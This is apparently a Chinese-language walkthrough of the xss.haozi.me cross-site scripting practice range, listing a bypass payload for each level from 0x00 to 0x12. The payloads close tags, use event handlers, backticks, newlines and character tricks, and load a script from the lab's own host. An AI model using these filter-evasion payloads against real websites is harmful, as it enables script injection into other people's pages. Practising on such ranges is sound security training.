xss.haozi.me靶场练习
题目来源:https://xss.haozi.me/
0x00
<script></script>
中为可执行的JavaScript语句
<script>alert('1')</script>
0x01
用</textarea>
闭合左边的<textarea>
,右边的</textarea>
注释掉
</textarea><script>alert('1')</script><!--
0x02
用">
闭合左边的input
,右边的">
注释掉
"><script>alert('1')</script><!--
0x03
()
被去掉,改为用"`"
<script>alert`1`</script>;
0x04
用 ASCII 编码代替字符
<body onload="alert('1')">
onload:在网页全部加载完成后执行脚本
0x05
两边均注释掉
--!> <script>alert('1')</script><!--
0x06
用换行防止onemouseover=
被替换成__
,需要用鼠标触发
onmouseover
="alert(1)"
0x07
<body onload="alert(1)"
0x08
闭合前面的<style>
,执行了alert(1)
即可。
</style > <script>alert(1)</script>
0x09
https://www.segmentfault.com" onerror="alert(1)
0x0A
...
0x0B
<script src="https://xss.haozi.me/j.js"></script>
0x0C
<sscriptcript src="https://xss.haozi.me/j.js"></sscriptcript>
0x0D
换行躲避单行注释,并注释掉右括号
alert('1')
-->
0x0E
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
');alert('1
0x10
"";alert(1)
0x11
");alert('1')("
0x12
\");alert(1);//